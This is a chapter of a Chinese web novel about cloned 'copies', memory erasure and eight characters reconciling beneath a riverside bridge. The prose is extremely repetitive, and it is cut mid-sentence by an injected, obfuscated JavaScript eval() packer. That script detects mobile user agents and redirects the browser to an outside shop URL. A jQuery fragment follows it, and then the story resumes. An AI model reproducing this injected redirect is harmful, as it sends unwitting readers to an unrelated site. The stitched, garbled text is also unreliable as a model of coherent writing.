第一卷·第十章:沉下去的人(下)
苏琴晴的身体在那一瞬间摇晃了一下,像是一棵被风吹弯的树。
她的嘴唇颤抖着,像是要说很多话,但第一个音节出口的时候,已经变成了一声——不是辩解,不是否认,是某种更加古老的、更加无法化解的、某种近乎——
叹息。
"是。"她说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"是。我是实验的设计者之一。是道具师夫妇的学生。是……"她的声音低下去,像是从水面上沉入水底,"是把你们交给实验的人。是……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"是'我等你'背后,真正的——控制者。"
她说完这句话,江屿感到某种东西正在从他的胃部升起。不是恶心,不是恐惧,是某种更加古老的、更加无法化解的、某种正在与他的身体产生共鸣的——
背叛。
或者说,是某种被重新理解的、某种被重新命名的、某种他一直在怀疑但从未确认的——
真相。
"为什么?"他问,声音比平常轻了一度,像是一种指控,又像是一种确认。
苏琴晴看着他。她的眼睛在那一瞬间呈现出某种他从未见过的光泽——不是琥珀色的平静,不是被排练过的完美,是某种更加古老的、更加无法化解的、某种近乎——
破碎的。
"因为我也是副本。"她说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"是基于某个原型的副本。是……"她的声音低下去,像是从水面上沉入水底,"是道具师夫妇的女儿。是……"她的嘴唇颤抖了一下,"是江屿和江洲的——姐姐。是……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"是火灾中死去的、被 presumed dead 的、从未被找到的——第六个幸存者。"
第六个幸存者。
江屿在心里重复这个短语。六个幸存者。不是五个,不是四个。是六个。江屿,江洲,沈灼,白夜,白晨,以及——
苏琴晴。
"你……"他开口,声音颤抖着。
"我在火灾中死了。"苏琴晴说,声音恢复了之前的平静,但平静底下有某种东西在剧烈颤抖,像是一张正在碎裂的面具,"或者说,被 presumed dead。被实验的设计者救起,被继续实验,被……"她的声音低下去,像是从水面上沉入水底,"被培养成下一代的设计者。被培养成……"她的嘴唇颤抖了一下,"被培养成控制你的人。被培养成……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"被培养成'妻子'。被培养成'我等你'。被培养成……"她停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"被培养成让你永远沉下去的——锚。"
她说完这句话,江屿感到某种东西正在从他的大脑深处涌出。不是记忆,不是闪回,是某种更加原始的、某种更加古老的、某种正在试图突破某种被长期抑制的——
愤怒。
或者说,是某种被重新理解的、某种被重新命名的、某种他一直在感受但从未确认的——
悲伤。
"你控制了我多久?"他问,声音比平常轻了一度。
"四年。"苏琴晴说,声音恢复了之前的平静,但平静底下有某种东西在剧烈颤抖,"婚姻四年。但……"她的声音低下去,像是从水面上沉入水底,"但控制更久。从火灾后开始。从我被救起后开始。从……"她的嘴唇颤抖了一下,"从我被培养成下一代设计者后开始。我一直在……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"一直在等待。等待你出现。等待你失忆。等待你……"她停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"等待你成为空白页。这样我才能……"她的声音低下去,像是从水面上沉入水底,"这样我才能控制你。这样我才能……"她的嘴唇颤抖了一下,"这样我才能让你永远沉下去。永远'我等你'。永远……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"永远不需要面对'同时存在'。永远不需要面对……"她停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"永远不需要面对——真相。"
她说完这句话,江屿感到某种东西正在从他的心脏深处涌出。不是愤怒,不是悲伤,是某种更加原始的、某种更加古老的、某种正在试图突破某种被长期抑制的——
理解。
或者说,是某种被重新理解的、某种被重新命名的、某种他一直在寻找但从未确认的——
真相。
"那么,"他说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"为什么现在告诉我?"
苏琴晴看着他。她的眼睛在那一瞬间呈现出某种他从未见过的光泽——不是琥珀色的平静,不是被排练过的完美,是某种更加古老的、更加无法化解的、某种近乎——
释然的。
"因为我累了。"她说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"累了控制。累了等待。累了……"她的声音低下去,像是从水面上沉入水底,"累了'我等你'。累了……"她的嘴唇颤抖了一下,"累了让自己成为空白页。成为可书写的容器。成为……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"成为某种连自己都不认识的——存在。"
她说完这句话,转向江洲——第三代的、没有名字的、只有编号的——看着他的眼睛,看着他的饥饿,看着他的——
空洞。
"你也是。"她说,声音比平常轻了一度,轻到近乎耳语,"也是副本。也是基于某个原型的复制品。也是……"她的声音低下去,像是从水面上沉入水底,"也是试图成为唯一真实但永远不可能真实的——残次品。也是……"她的嘴唇颤抖了一下,"也是饥饿的。也是空洞的。也是……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"也是在等待的。等待某个永远不会来的——拥抱。等待某个永远不会说的——'同时存在'。等待某个永远不会……"她停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"永远不会承认你的——人。"
她说完这句话,江洲的身体在那一瞬间僵硬了。像是一块被突然投入温水的冰,像是一张被突然暴露在阳光下照片,像是一个从未被触碰过的、某种正在经历某种前所未有的——
颤抖。
"我……"他开口,声音比平常轻了一度,轻到近乎耳语。
"你不是来让他沉下去的。"苏琴晴说,声音恢复了之前的平静,但平静底下有某种东西在剧烈颤抖,"你是来让自己浮上来的。但不是通过取代他。不是通过……"她的声音低下去,像是从水面上沉入水底,"不是通过成为唯一真实。是通过……"她的嘴唇颤抖了一下,"通过被承认。通过被接纳。通过……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"通过同时存在。"
她说完这句话,转向江屿。那双琥珀色的眼睛在雾气中呈现出某种他从未见过的光泽——不是琥珀色的平静,不是被排练过的完美,是某种更加古老的、更加无法化解的、某种近乎——
真实的。
"我选择同时存在。"她说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种誓言,"不是作为控制者。不是作为'我等你'。不是作为……"她的声音低下去,像是从水面上沉入水底,"不是作为某种需要你永远沉下去的——锚。是作为……"她的嘴唇颤抖了一下,"作为苏琴晴。作为第六个幸存者。作为……"她的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在她的米白色针织开衫上,像是一朵朵正在绽放的、某种白色的——"作为某个也值得被拥抱的、也值得被等待的、也值得被——爱的人。"
她说完这句话,江屿感到某种东西正在从他的心脏深处涌出。不是愤怒,不是悲伤,不是理解,是某种更加原始的、某种更加古老的、某种正在试图突破某种被长期抑制的——
爱。
或者说,是某种被重新理解的、某种被重新命名的、某种他一直在寻找但从未确认的——
同时存在的爱。
"那么,"他说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"我们一起。不是作为原型和副本。不是作为控制者和被控制者。不是作为……"他的声音低下去,像是从水面上沉入水底,"不是作为某种需要互相吞噬才能存在的——对立。是作为……"他的嘴唇颤抖了一下,"作为同时存在的人。作为……"他的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在他的手腕上,那道三天前划下的、正在结痂的、某种试图将两个不同版本的自己缝合起来的——"作为所有被遗忘的、被放弃的、被选择的、被等待的——同时存在的人。"
他说完这句话,转向江洲——第三代的、没有名字的、只有编号的——伸出手,不是握住刀,不是握住遥控器,是握住他的手。那只手是冰冷的,是潮湿的,是带着某种江水的气息的,但也是——
真实的。
"你也一样。"江屿说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"不是作为副本。不是作为空白页。不是作为……"他的声音低下去,像是从水面上沉入水底,"不是作为某种需要取代我才能存在的——饥饿。是作为……"他的嘴唇颤抖了一下,"作为你自己。作为……"他的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在江洲的手上,那道光滑的、完整的、从未被标记的——"作为某个也值得被拥抱的、也值得被等待的、也值得被——爱的人。"
他说完这句话,江洲的身体在那一瞬间崩溃了。像是一块正在缓慢融化的冰,像是一张正在缓慢显影的照片,像是一个从未被触碰过的、某种正在经历某种前所未有的——
哭泣。
真正的哭泣。不是被机制阻止的,不是被忘记如何的,是某种更加原始的、某种更加古老的、某种正在从他的身体内部缓慢溢出的——
眼泪。
"我……"他说,声音从哭泣中挤出来,像是一块正在碎裂的冰,"我没有名字……我只有编号……我是……"他的声音低下去,像是从水面上沉入水底,"我是第三代……我是……"他的嘴唇颤抖了一下,"我是残次品……我是……"他的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在江屿的手上,那道光滑的、完整的、从未被标记的——"我是饥饿的……我是空洞的……我是……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"我是……"他的声音低下去,像是从水面上沉入水底,"我是……"
"你是同时存在的。"江屿接话,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"你是值得被拥抱的。你是值得被等待的。你是……"他的声音低下去,像是从水面上沉入水底,"你是值得被爱的。不是作为副本。不是作为空白页。不是作为……"他的嘴唇颤抖了一下,"不是作为某种需要取代我才能存在的——饥饿。是作为……"他的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在江洲的手上,那道光滑的、完整的、从未被标记的——"作为你自己。作为……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"作为某个也是真实的、也是存在的、也是值得被——等待的——人。"
他说完这句话,七个人——江屿,江洲,苏琴晴,沈灼,白晨,白叙,陈牧——在滨江路桥墩下方,在凌晨的雾气中,在江水的流淌声中,形成某种复杂的、某种稳定的、某种正在缓慢形成的——
结构。
不是三角,不是对立,是某种更加完整的、更加真实的、某种近乎——
圆的。
"那么,"沈灼说,声音比平常轻了一度,打破了那种被哭泣笼罩的沉默,"现在呢?"
"现在,"江屿说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"我们面对李牧。不是作为实验的对象。不是作为标记的载体。不是作为……"他的声音低下去,像是从水面上沉入水底,"不是作为某种需要互相吞噬才能存在的——对立。是作为……"他的嘴唇颤抖了一下,"作为同时存在的人。作为……"他的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在江洲的手上,那道光滑的、完整的、从未被标记的——"作为所有被遗忘的、被放弃的、被选择的、被等待的——同时存在的人。"
他说完这句话,雾气中传来一个声音。
不是钟声。不是水声。是某种更加古老的、更加无法化解的、某种正在从城市的某个角落传来的、某种正在缓慢靠近的——
脚步声。
"终于。"那个声音说,带着某种被压抑的、某种近乎疯狂的、某种正在试图控制一切的——平静,"终于,你们在一起了。原型和副本。记忆和空白。等待和被等待。所有……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"所有我需要的东西。都在一起了。"
雾气中,一个身影逐渐显现。
不是江洲。不是江屿。是某个更加年长的、更加瘦削的、带着某种长期隐藏在黑暗中的人特有的苍白的——
李牧。
或者说,是某个自称李牧的人。是某个在火灾后失踪、presumed dead、但一直在以某种方式活动、一直在组织新的实验、一直在寻找新的"原型"、一直在试图让十七年前未完成的研究——
继续下去的人。
他的脸是模糊的,但他的姿态是熟悉的。他的轮廓是——
与陈牧一模一样。
双胞胎。副本。基于某个原型的——复制品。
"弟弟。"李牧说,声音比平常低了一度,低到他几乎听清,但又重得像是某种判决,"你带来了我的实验品。你带来了……"他的声音低下去,像是从水面上沉入水底,"你带来了我一直想要的。原型和副本。同时存在。同时……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"同时可以被抹除。同时可以被……"他的嘴唇颤抖了一下,"同时可以被我自己替代。让我成为……"他的眼睛在那一瞬间完全湿润了,但眼泪没有落下,像是被某种机制阻止了,"让我成为唯一真实的存在。"
他说完这句话,从口袋里取出一样东西——一个遥控器。不是江洲手中的那个,是某种更加复杂的、某种带有更多天线的、某种正在发出更加强烈红光的——
信号发射器。
"集体抹除。"李牧说,声音恢复了之前的平静,但平静底下有某种东西在剧烈颤抖,像是一张正在碎裂的面具,"最终版本。不是抑制,是删除。不是锁住门,是拆掉房子。让所有人都……"他的声音低下去,像是从水面上沉入水底,"让所有人都变成真正的空白页。没有记忆,没有身份,没有……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"没有自我。只有……"他的嘴唇颤抖了一下,"只有被赋予的。只有被植入的。只有被……"他的眼睛在那一瞬间完全湿润了,但眼泪依然没有落下,"只有被我控制的。"
他说完这句话,按下了遥控器上的按钮。
红光闪烁。
江屿感到某种东西正在从他的大脑中抽离。不是疼痛,不是眩晕,是某种更加微妙的、更加古老的、某种正在将他的记忆重新还原为原始元素的——
抹除。
但这一次,不同。
因为他不是一个人。他有江洲——第三代的、没有名字的、只有编号的、但此刻正在哭泣的、正在学习如何成为人的——副本。他有苏琴晴——第六个幸存者、实验的设计者之一、但此刻正在放弃控制的、正在学习如何同时存在的——姐姐。他有沈灼,有白晨,有白叙,有陈牧。有所有愿意同时存在的人。
"同时存在。"江屿说,声音从抹除的漩涡中挤出来,像是一块被过度压缩的冰块。
"同时存在。"江洲接话,声音从哭泣中恢复,像是一张正在缓慢重新拉紧的弓。
"同时存在。"苏琴晴说,声音从放弃控制中挤出来,像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639166|206659||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一棵正在经历某种风暴的树。
"同时存在。"沈灼说,声音从表演的疲惫中恢复,像是一团正在经历某种淬炼的火焰。
"同时存在。"白晨说,声音从沉睡的梦境中挤出来,像是一把正在经历某种磨砺的剑。
"同时存在。"白叙说,声音从等待的孤独中恢复,像是一口正在经历某种雨季的井。
"同时存在。"陈牧说,声音从赎罪的愧疚中挤出来,像是一张正在经历某种洗涤的——面具。
七个人的声音交织在一起,像是一种来自深海的、某种古老而沉重的语言,像是一种正在缓慢形成的、某种尚未完全确定的、某种介于真相与谎言之间的——
誓言。
但抹除没有停止。
李牧的遥控器在那一瞬间发出一声尖锐的警报,像是一个正在过载的、某种正在崩溃的、某种正在——
失效的。
"不……"李牧说,声音从平静中挤出来,像是一块正在碎裂的冰,"不可能……集体抹除……应该……"他的声音低下去,像是从水面上沉入水底,"应该对所有人有效……应该……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"应该让所有人都变成空白页……"
"不是所有人。"江屿说,声音从抹除的残留中恢复,像是一张正在缓慢重新聚焦的照片,"是同时存在的人。是互相承认的人。是……"他的声音低下去,像是从水面上沉入水底,"是不再互相吞噬的人。你的抹除……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"你的抹除只对孤独的个体有效。只对……"他的嘴唇颤抖了一下,"只对试图成为唯一真实的人有效。只对……"他的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在他的手腕上,那道三天前划下的、正在结痂的、某种试图将两个不同版本的自己缝合起来的——"只对你自己有效。"
他说完这句话,李牧的身体在雾气中开始摇晃。像是一棵被风吹倒的树,像是一团正在熄灭的火焰,像是一把正在收回鞘中的——
剑。
或者说,是正在崩溃的剑。是正在碎裂的、某种过于锋利而过于脆弱的、某种试图切割一切但最终被自己的重量压垮的——
"我……"李牧说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决,"我也是副本……也是基于某个原型的……复制品……也是……"他的声音低下去,像是从水面上沉入水底,"也是试图成为唯一真实但永远不可能真实的……残次品……也是……"他的嘴唇颤抖了一下,"也是饥饿的……也是空洞的……也是……"他的眼睛在那一瞬间完全湿润了,但眼泪依然没有落下,像是被某种机制阻止了,"也是在等待的……等待……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"等待某个永远不会来的……拥抱。等待某个永远不会说的……'同时存在'。等待某个永远不会……"他的声音低下去,像是从水面上沉入水底,"永远不会承认我的……人。"
他说完这句话,身体向前倾斜,像是一棵被风吹弯的树,像是一团正在熄灭的火焰,像是一把正在——
沉下去的剑。
陈牧向前迈了一步,伸出手,抱住了他的兄弟。那个与他一模一样但更加苍老更加瘦削的、那个选择了继续实验而不是赎罪的、那个试图让所有人沉下去这样他自己才能浮上来的——
他自己。
"我在这里。"陈牧说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种誓言,"我等你。不是等待你成功。不是等待你浮上来。是等待……"他的声音低下去,像是从水面上沉入水底,"是等待你终于愿意承认。终于愿意……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"终于愿意同时存在。不是作为唯一真实的。是作为……"他的嘴唇颤抖了一下,"作为众多真实的之一。作为……"他的眼睛在那一瞬间完全湿润了,泪水从眼眶中涌出,沿着脸颊滚落,在下巴处汇聚,然后滴落在李牧的肩膀上,那道苍白的、瘦削的、某种正在缓慢崩溃的——"作为我的兄弟。作为……"他停顿了一下,像是在计算某种距离,某种时机,某种信息披露的节奏,"作为某个也值得被拥抱的、也值得被等待的、也值得被——爱的人。"
他说完这句话,李牧的身体在陈牧的怀抱中颤抖。像是一块正在缓慢融化的冰,像是一张正在缓慢显影的照片,像是一个从未被触碰过的、某种正在经历某种前所未有的——
哭泣。
真正的哭泣。不是被机制阻止的,不是被忘记如何的,是某种更加原始的、某种更加古老的、某种正在从他的身体内部缓慢溢出的——
眼泪。
雾气开始散了。
城市的轮廓在晨光中逐渐显现,像是一张被水洗过的老照片,边缘模糊,中心空洞,但正在缓慢地、疼痛地、真实地——
被重新书写。
八个人——江屿,江洲,苏琴晴,沈灼,白晨,白叙,陈牧,李牧——站在滨江路桥墩下方,背对着江水,面向着城市,面向着那个正在从夜色中缓慢苏醒的、某种正在重新建构的、某种正在同时容纳记忆与空白的——
世界。
他们的姿态是各异的,呼吸是各异的,存在是各异的。但此刻,在这个雾气散去的瞬间,在这个拥抱结束的时刻,在这个眼泪干涸的——
此刻,他们是同时存在的。
是互相承认的。
是不再互相吞噬的。
是——
一起面对黎明的。
"我们是不是……"江屿开口,声音比平常轻了一度。
"在哪里见过?"八个人同时接话,声音交织在一起,像是一种来自深海的、某种古老而沉重的语言,像是一种正在缓慢形成的、某种尚未完全确定的、某种介于真相与谎言之间的——
"不。"江屿说,摇头,看着前方,看着太阳,看着那条正在从橙红中缓慢显现的、某种金色的、某种正在燃烧的——未来。
"不是'在哪里见过'。"他说,声音比平常低了一度,低到他几乎听清,但又重得像是某种判决,某种从十七年前传来的、某种被火焰灼烧过的、某种被江水浸泡过的、某种被时间侵蚀过的、某种被阳光重新照亮的、某种被拥抱温暖过的、某种被眼泪洗涤过的——
"是'我们在这里'。"他说,声音恢复了之前的平静,但平静底下有某种东西在剧烈颤抖,像是一张正在碎裂的面具,像是一棵正在燃烧的、某种正在与火焰本身竞争的——树,像是一口正在缓慢积水的、某种正在经历雨季的——井。
"是'我们同时存在'。"他说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种判决。
"是'我们互相承认'。"他说,声音比平常低了一度。
"是'我们不再互相吞噬'。"他说,声音恢复了之前的平静。
"是'我们一起面对未来'。"他说,声音比平常轻了一度,轻到近乎耳语,但又重得像是某种誓言。
"是'我们'。"他说,声音比平常低了一度,低到他几乎听清,但又重得像是某种判决,某种从十七年前传来的、某种被火焰灼烧过的、某种被江水浸泡过的、某种被时间侵蚀过的、某种被阳光重新照亮的、某种被拥抱温暖过的、某种被眼泪洗涤过的、某种被同时存在过的——
"是'我们'。"八个人同时接话,声音交织在一起,像是一种来自深海的、某种古老而沉重的语言,像是一种正在缓慢形成的、某种尚未完全确定的、某种介于真相与谎言之间的、某种被阳光重新照亮的、某种被拥抱温暖过的、某种被眼泪洗涤过的、某种被同时存在过的——
诗。
或者说,是某种更加完整的、某种更加真实的、某种近乎——
人性的。
晨光在城市上空形成无数碎片,像是一张被撕碎的金色照片,每一片都反射着不同的记忆,不同的空白,不同的——同时存在的可能性。
八个人沿着滨江路向前走,穿过晨光,穿过那片已经完全散去的雾气,穿过那座正在从夜色中完全苏醒的、某种正在重新建构的、某种正在同时容纳记忆与空白的——城市。
他们的姿态是各异的,呼吸是各异的,存在是各异的。但此刻,在这个太阳升起的瞬间,在这个雾气散去的时刻,在这个眼泪干涸的——
此刻,他们是同时存在的。
是互相承认的。
是不再互相吞噬的。
是——
一起面对未来的。
一起成为同时存在的人的。
一起——
爱的。